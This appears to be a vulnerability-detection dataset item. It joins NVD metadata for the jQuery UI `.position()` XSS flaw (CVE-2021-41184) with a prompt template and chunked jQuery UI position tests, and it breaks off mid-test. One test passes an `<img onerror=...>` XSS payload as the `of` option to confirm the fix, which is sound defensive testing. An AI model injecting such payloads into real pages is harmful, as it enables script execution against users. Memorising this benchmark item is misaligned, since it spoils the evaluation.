"versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h500e:-:*:*:*:*:*:*:*", "matchCriteriaId": "803BC414-B250-4E3A-A478-A3881340D6B8", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h700e_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "0FEB3337-BFDE-462A-908B-176F92053CEC", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h700e:-:*:*:*:*:*:*:*", "matchCriteriaId": "736AEAE9-782B-4F71-9893-DED53367E102", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h410s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D0B4AD8A-F172-4558-AEC6-FF424BA2D912", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h410s:-:*:*:*:*:*:*:*", "matchCriteriaId": "8497A4C9-8474-4A62-8331-3FE862ED4098", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h410c_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "234DEFE0-5CE5-4B0A-96B8-5D227CB8ED31", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h410c:-:*:*:*:*:*:*:*", "matchCriteriaId": "CDDF61B7-EC5C-467C-B710-B89F502CD04F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "matchCriteriaId": "013FAABA-8CDD-46AD-B321-9908634C880A", "versionEndExcluding": "7.86", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "7.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "matchCriteriaId": "BE1268C5-DEFD-44D8-8994-D93C7839D5C2", "versionEndExcluding": "9.2.11", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.2.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "matchCriteriaId": "7A28F55D-AEB8-454E-B1A9-163C4CB2B38D", "versionEndExcluding": "9.3.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.3.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:tenable:tenable.sc:*:*:*:*:*:*:*:*", "matchCriteriaId": "CAB9A41F-91F1-40DF-BF12-6ADA7229A84C", "versionEndExcluding": "5.21.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:oracle:agile_plm:9.3.6:*:*:*:*:*:*:*", "matchCriteriaId": "C650FEDB-E903-4C2D-AD40-282AB5F2E3C2", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:application_express:*:*:*:*:*:*:*:*", "matchCriteriaId": "48B23728-0050-4AF0-B8B0-A959CBAB4505", "versionEndExcluding": "22.1.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:banking_platform:2.9.0:*:*:*:*:*:*:*", "matchCriteriaId": "AB9FC9AB-1070-420F-870E-A5EC43A924A4", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:banking_platform:2.12.0:*:*:*:*:*:*:*", "matchCriteriaId": "BDC6D658-09EA-4C41-869F-1C2EA163F751", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:big_data_spatial_and_graph:*:*:*:*:*:*:*:*", "matchCriteriaId": "384DEDD9-CB26-4306-99D8-83068A9B23ED", "versionEndExcluding": "23.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:big_data_spatial_and_graph:23.1:*:*:*:*:*:*:*", "matchCriteriaId": "BEF828F5-C666-40DA-98DD-CDF658D7090B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_interactive_session_recorder:6.4:*:*:*:*:*:*:*", "matchCriteriaId": "E812639B-EE28-4C68-9F6F-70C8BF981C86", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_operations_monitor:4.3:*:*:*:*:*:*:*", "matchCriteriaId": "CBE1A019-7BB6-4226-8AC4-9D6927ADAEFA", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_operations_monitor:4.4:*:*:*:*:*:*:*", "matchCriteriaId": "B98BAEB2-A540-4E8A-A946-C4331B913AFD", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_operations_monitor:5.0:*:*:*:*:*:*:*", "matchCriteriaId": "B8FBE260-E306-4215-80C0-D2D27CA43E0F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_inventory_management:9.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "8865CE15-F9A1-4A46-AF93-B58356BDEE6F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_materials_control:18.1:*:*:*:*:*:*:*", "matchCriteriaId": "2AC63D10-2326-4542-B345-31D45B9A7408", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_suite8:*:*:*:*:*:*:*:*", "matchCriteriaId": "C7F4B5F0-6B78-4A94-AD83-6B78D484E298", "versionEndExcluding": null, "versionEndIncluding": "8.14.0", "versionStartExcluding": null, "versionStartIncluding": "8.11.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_suite8:8.10.2:*:*:*:*:*:*:*", "matchCriteriaId": "CBDA65DE-5727-49DC-8D50-DA81DB3E8841", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:jd_edwards_enterpriseone_tools:*:*:*:*:*:*:*:*", "matchCriteriaId": "C5F35B8D-6F26-4682-8541-6F10EE2ACE7E", "versionEndExcluding": null, "versionEndIncluding": "9.2.6.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.58:*:*:*:*:*:*:*", "matchCriteriaId": "D9DB4A14-2EF5-4B54-95D2-75E6CF9AA0A9", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.59:*:*:*:*:*:*:*", "matchCriteriaId": "C8AF00C6-B97F-414D-A8DF-057E6BFD8597", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:policy_automation:*:*:*:*:*:*:*:*", "matchCriteriaId": "15C83E0F-5FA2-47E5-9FCF-CD2E90D6A9E8", "versionEndExcluding": null, "versionEndIncluding": "12.2.25", "versionStartExcluding": null, "versionStartIncluding": "12.2.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:*:*:*:*:*:*:*:*", "matchCriteriaId": "08FA59A8-6A62-4B33-8952-D6E658F8DAC9", "versionEndExcluding": null, "versionEndIncluding": "17.12", "versionStartExcluding": null, "versionStartIncluding": "17.7", "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:18.8:*:*:*:*:*:*:*", "matchCriteriaId": "202AD518-2E9B-4062-B063-9858AE1F9CE2", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:19.12:*:*:*:*:*:*:*", "matchCriteriaId": "10864586-270E-4ACF-BDCC-ECFCD299305F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:20.12:*:*:*:*:*:*:*", "matchCriteriaId": "38340E3C-C452-4370-86D4-355B6B4E0A06", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:21.12:*:*:*:*:*:*:*", "matchCriteriaId": "E9C55C69-E22E-4B80-9371-5CD821D79FE2", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:rest_data_services:*:*:*:*:-:*:*:*", "matchCriteriaId": "105BF985-2403-455E-BAA1-509245B54A1D", "versionEndExcluding": "22.1.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:rest_data_services:22.1.1:*:*:*:-:*:*:*", "matchCriteriaId": "281F1ACB-3180-422C-BADF-B0AE5F50924E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "F14A818F-AA16-4438-A3E4-E64C9287AC66", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "4A5BB153-68E0-4DDA-87D1-0D9AB7F0A418", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:14.1.1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "04BCDC24-4A21-473C-8733-0D9CFB38A752", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}], "descriptions": [{"lang": "en", "value": "jQuery-UI is the official jQuery user interface library. Prior to version 1.13.0, accepting the value of the `of` option of the `.position()` util from untrusted sources may execute untrusted code. The issue is fixed in jQuery UI 1.13.0. Any string value passed to the `of` option is now treated as a CSS selector. A workaround is to not accept the value of the `of` option from untrusted sources."}, {"lang": "es", "value": "jQuery-UI es la biblioteca oficial de interfaz de usuario de jQuery. Antes de la versi\u00f3n 1.13.0, aceptar el valor de la opci\u00f3n \"of\" de la utilidad \".position()\" de fuentes no confiables pod\u00eda ejecutar c\u00f3digo no confiable. El problema es corregido en jQuery UI versi\u00f3n 1.13.0. Cualquier valor de cadena pasado a la opci\u00f3n \"of\" se trata ahora como un selector CSS. Una soluci\u00f3n es no aceptar el valor de la opci\u00f3n \"of\" de fuentes no confiables"}], "evaluatorComment": null, "id": "CVE-2021-41184", "lastModified": "2022-11-07T17:20:09.440", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-10-26T15:15:10.460", "references": [{"source": "security-advisories@github.com", "tags": ["Release Notes", "Vendor Advisory"], "url": "https://blog.jqueryui.com/2021/10/jquery-ui-1-13-0-released/"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Vendor Advisory"], "url": "https://github.com/jquery/jquery-ui/commit/effa323f1505f2ce7a324e4f429fa9032c72f280"}, {"source": "security-advisories@github.com", "tags": ["Mitigation", "Patch", "Vendor Advisory"], "url": "https://github.com/jquery/jquery-ui/security/advisories/GHSA-gpqq-952q-5327"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HVKIOWSXL2RF2ULNAP7PHESYCFSZIJE3/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NXIUUBRVLA4E7G7MMIKCEN75YN7UFERW/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/O74SXYY7RGXREQDQUDQD4BPJ4QQTD2XQ/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SGSY236PYSFYIEBRGDERLA7OSY6D7XL4/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SNXA7XRKGINWSUIPIZ6ZBCTV6N3KSHES/"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://security.netapp.com/advisory/ntap-20211118-0004/"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.drupal.org/sa-core-2022-001"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.oracle.com/security-alerts/cpujul2022.html"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Release Notes", "Third Party Advisory"], "url": "https://www.tenable.com/security/tns-2022-09"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-79"}], "source": "nvd@nist.gov", "type": "Secondary"}]}, "github_commit_url": "https://github.com/jquery/jquery-ui/commit/effa323f1505f2ce7a324e4f429fa9032c72f280"}, "type": "CWE-79"}
127
Determine whether the {function_name} code is vulnerable or not.
[ "define( [\n\t\"qunit\",\n\t\"jquery\",\n\t\"lib/common\",\n\t\"lib/helper\",\n\t\"ui/position\"\n], function( QUnit, $, common, helper ) {", "var win = $( window ),\n\tscrollTopSupport = function() {\n\t\tvar support = win.scrollTop( 1 ).scrollTop() === 1;\n\t\twin.scrollTop( 0 );\n\t\tscrollTopSupport = function() {\n\t\t\treturn support;\n\t\t};\n\t\treturn support;\n\t};", "QUnit.module( \"position\", {\n\tbeforeEach: function() {\n\t\twin.scrollTop( 0 ).scrollLeft( 0 );\n\t},\n\tafterEach: helper.moduleAfterEach\n} );", "common.testJshint( \"position\" );", "QUnit.test( \"my, at, of\", function( assert ) {\n\tassert.expect( 4 );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left top\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 40, left: 40 }, \"left top, left top\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left bottom\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 60, left: 40 }, \"left top, left bottom\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left\",\n\t\tat: \"bottom\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 55, left: 50 }, \"left, bottom\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left foo\",\n\t\tat: \"bar baz\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 45, left: 50 }, \"left foo, bar baz\" );\n} );", "QUnit.test( \"multiple elements\", function( assert ) {\n\tassert.expect( 3 );", "\tvar elements = $( \"#el1, #el2\" ),\n\t\tresult = elements.position( {\n\t\t\tmy: \"left top\",\n\t\t\tat: \"left bottom\",\n\t\t\tof: \"#parent\",\n\t\t\tcollision: \"none\"\n\t\t} ),\n\t\texpected = { top: 10, left: 4 };", "\tassert.deepEqual( result, elements );\n\telements.each( function() {\n\t\tassert.deepEqual( $( this ).offset(), expected );\n\t} );\n} );", "QUnit.test( \"positions\", function( assert ) {\n\tassert.expect( 18 );", "\tvar offsets = {\n\t\t\tleft: 0,\n\t\t\tcenter: 3,\n\t\t\tright: 6,\n\t\t\ttop: 0,\n\t\t\tbottom: 6\n\t\t},\n\t\tstart = { left: 4, top: 4 },\n\t\tel = $( \"#el1\" );", "\t$.each( [ 0, 1 ], function( my ) {\n\t\t$.each( [ \"top\", \"center\", \"bottom\" ], function( vindex, vertical ) {\n\t\t\t$.each( [ \"left\", \"center\", \"right\" ], function( hindex, horizontal ) {\n\t\t\t\tvar _my = my ? horizontal + \" \" + vertical : \"left top\",\n\t\t\t\t\t_at = !my ? horizontal + \" \" + vertical : \"left top\";\n\t\t\t\tel.position( {\n\t\t\t\t\tmy: _my,\n\t\t\t\t\tat: _at,\n\t\t\t\t\tof: \"#parent\",\n\t\t\t\t\tcollision: \"none\"\n\t\t\t\t} );\n\t\t\t\tassert.deepEqual( el.offset(), {\n\t\t\t\t\ttop: start.top + offsets[ vertical ] * ( my ? -1 : 1 ),\n\t\t\t\t\tleft: start.left + offsets[ horizontal ] * ( my ? -1 : 1 )\n\t\t\t\t}, \"Position via \" + QUnit.jsDump.parse( { my: _my, at: _at } ) );\n\t\t\t} );\n\t\t} );\n\t} );\n} );", "QUnit.test( \"of\", function( assert ) {", "\tassert.expect( 10 + ( scrollTopSupport() ? 1 : 0 ) );", "\tvar done = assert.async();", "\n\tvar event;", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left top\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 40, left: 40 }, \"selector\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left bottom\",\n\t\tof: $( \"#parentx\" ),\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 60, left: 40 }, \"jQuery object\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left top\",\n\t\tof: $( \"#parentx\" )[ 0 ],\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 40, left: 40 }, \"DOM element\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"right bottom\",\n\t\tat: \"right bottom\",\n\t\tof: document,\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), {\n\t\ttop: $( document ).height() - 10,\n\t\tleft: $( document ).width() - 10\n\t}, \"document\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"right bottom\",\n\t\tat: \"right bottom\",\n\t\tof: $( document ),\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), {\n\t\ttop: $( document ).height() - 10,\n\t\tleft: $( document ).width() - 10\n\t}, \"document as jQuery object\" );", "\twin.scrollTop( 0 );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"right bottom\",\n\t\tat: \"right bottom\",\n\t\tof: window,\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), {\n\t\ttop: win.height() - 10,\n\t\tleft: win.width() - 10\n\t}, \"window\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"right bottom\",\n\t\tat: \"right bottom\",\n\t\tof: win,\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), {\n\t\ttop: win.height() - 10,\n\t\tleft: win.width() - 10\n\t}, \"window as jQuery object\" );", "\tif ( scrollTopSupport() ) {\n\t\twin.scrollTop( 500 ).scrollLeft( 200 );\n\t\t$( \"#elx\" ).position( {\n\t\t\tmy: \"right bottom\",\n\t\t\tat: \"right bottom\",\n\t\t\tof: window,\n\t\t\tcollision: \"none\"\n\t\t} );\n\t\tassert.deepEqual( $( \"#elx\" ).offset(), {\n\t\t\ttop: win.height() + 500 - 10,\n\t\t\tleft: win.width() + 200 - 10\n\t\t}, \"window, scrolled\" );\n\t\twin.scrollTop( 0 ).scrollLeft( 0 );\n\t}", "\tevent = $.extend( $.Event( \"someEvent\" ), { pageX: 200, pageY: 300 } );\n\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left top\",\n\t\tof: event,\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), {\n\t\ttop: 300,\n\t\tleft: 200\n\t}, \"event - left top, left top\" );", "\tevent = $.extend( $.Event( \"someEvent\" ), { pageX: 400, pageY: 600 } );\n\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"right bottom\",\n\t\tof: event,\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), {\n\t\ttop: 600,\n\t\tleft: 400\n\t}, \"event - left top, right bottom\" );", "\n\ttry {\n\t\t$( \"#elx\" ).position( {\n\t\t\tmy: \"left top\",\n\t\t\tat: \"right bottom\",\n\t\t\tof: \"<img onerror='window.globalOf=true' src='/404' />\",\n\t\t\tcollision: \"none\"\n\t\t} );\n\t} catch ( e ) {}", "\tsetTimeout( function() {\n\t\tassert.equal( window.globalOf, undefined, \"of treated as a selector\" );\n\t\tdelete window.globalOf;\n\t\tdone();\n\t}, 500 );", "} );", "QUnit.test( \"offsets\", function( assert ) {\n\tassert.expect( 9 );", "\tvar offset;", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left+10 bottom+10\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 70, left: 50 }, \"offsets in at\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left+10 top-10\",\n\t\tat: \"left bottom\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 50, left: 50 }, \"offsets in my\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left+50% bottom-10%\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 58, left: 50 }, \"percentage offsets in at\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left-30% top+50%\",\n\t\tat: \"left bottom\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 65, left: 37 }, \"percentage offsets in my\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left-30.001% top+50.0%\",\n\t\tat: \"left bottom\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\toffset = $( \"#elx\" ).offset();\n\tassert.equal( Math.round( offset.top ), 65, \"decimal percentage offsets in my\" );\n\tassert.equal( Math.round( offset.left ), 37, \"decimal percentage offsets in my\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left+10.4 top-10.6\",\n\t\tat: \"left bottom\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\toffset = $( \"#elx\" ).offset();\n\tassert.equal( Math.round( offset.top ), 49, \"decimal offsets in my\" );\n\tassert.equal( Math.round( offset.left ), 50, \"decimal offsets in my\" );", "\t$( \"#elx\" ).position( {\n\t\tmy: \"left+right top-left\",\n\t\tat: \"left-top bottom-bottom\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#elx\" ).offset(), { top: 60, left: 40 }, \"invalid offsets\" );\n} );", "QUnit.test( \"using\", function( assert ) {\n\tassert.expect( 10 );", "\tvar count = 0,\n\t\telems = $( \"#el1, #el2\" ),\n\t\tof = $( \"#parentx\" ),\n\t\texpectedPosition = { top: 60, left: 60 },\n\t\texpectedFeedback = {\n\t\t\ttarget: {\n\t\t\t\telement: of,\n\t\t\t\twidth: 20,\n\t\t\t\theight: 20,\n\t\t\t\tleft: 40,\n\t\t\t\ttop: 40\n\t\t\t},\n\t\t\telement: {\n\t\t\t\twidth: 6,\n\t\t\t\theight: 6,\n\t\t\t\tleft: 60,\n\t\t\t\ttop: 60\n\t\t\t},\n\t\t\thorizontal: \"left\",\n\t\t\tvertical: \"top\",\n\t\t\timportant: \"vertical\"\n\t\t},\n\t\toriginalPosition = elems.position( {\n\t\t\tmy: \"right bottom\",\n\t\t\tat: \"rigt bottom\",\n\t\t\tof: \"#parentx\",\n\t\t\tcollision: \"none\"\n\t\t} ).offset();", "\telems.position( {\n\t\tmy: \"left top\",\n\t\tat: \"center+10 bottom\",\n\t\tof: \"#parentx\",\n\t\tusing: function( position, feedback ) {\n\t\t\tassert.deepEqual( this, elems[ count ], \"correct context for call #\" + count );\n\t\t\tassert.deepEqual( position, expectedPosition, \"correct position for call #\" + count );\n\t\t\tassert.deepEqual( feedback.element.element[ 0 ], elems[ count ] );\n\t\t\tdelete feedback.element.element;", "\t\t\tdelete feedback.target.element.prevObject;", "\t\t\tassert.deepEqual( feedback, expectedFeedback );\n\t\t\tcount++;\n\t\t}\n\t} );", "\telems.each( function() {\n\t\tassert.deepEqual( $( this ).offset(), originalPosition, \"elements not moved\" );\n\t} );\n} );", "function collisionTest( assert, config, result, msg ) {\n\tvar elem = $( \"#elx\" ).position( $.extend( {\n\t\tmy: \"left top\",\n\t\tat: \"right bottom\",\n\t\tof: \"#parent\"\n\t}, config ) );\n\tassert.deepEqual( elem.offset(), result, msg );\n}", "function collisionTest2( assert, config, result, msg ) {\n\tcollisionTest( assert, $.extend( {\n\t\tmy: \"right bottom\",\n\t\tat: \"left top\"\n\t}, config ), result, msg );\n}", "QUnit.test( \"collision: fit, no collision\", function( assert ) {\n\tassert.expect( 2 );", "\tcollisionTest( assert, {\n\t\tcollision: \"fit\"\n\t}, {\n\t\ttop: 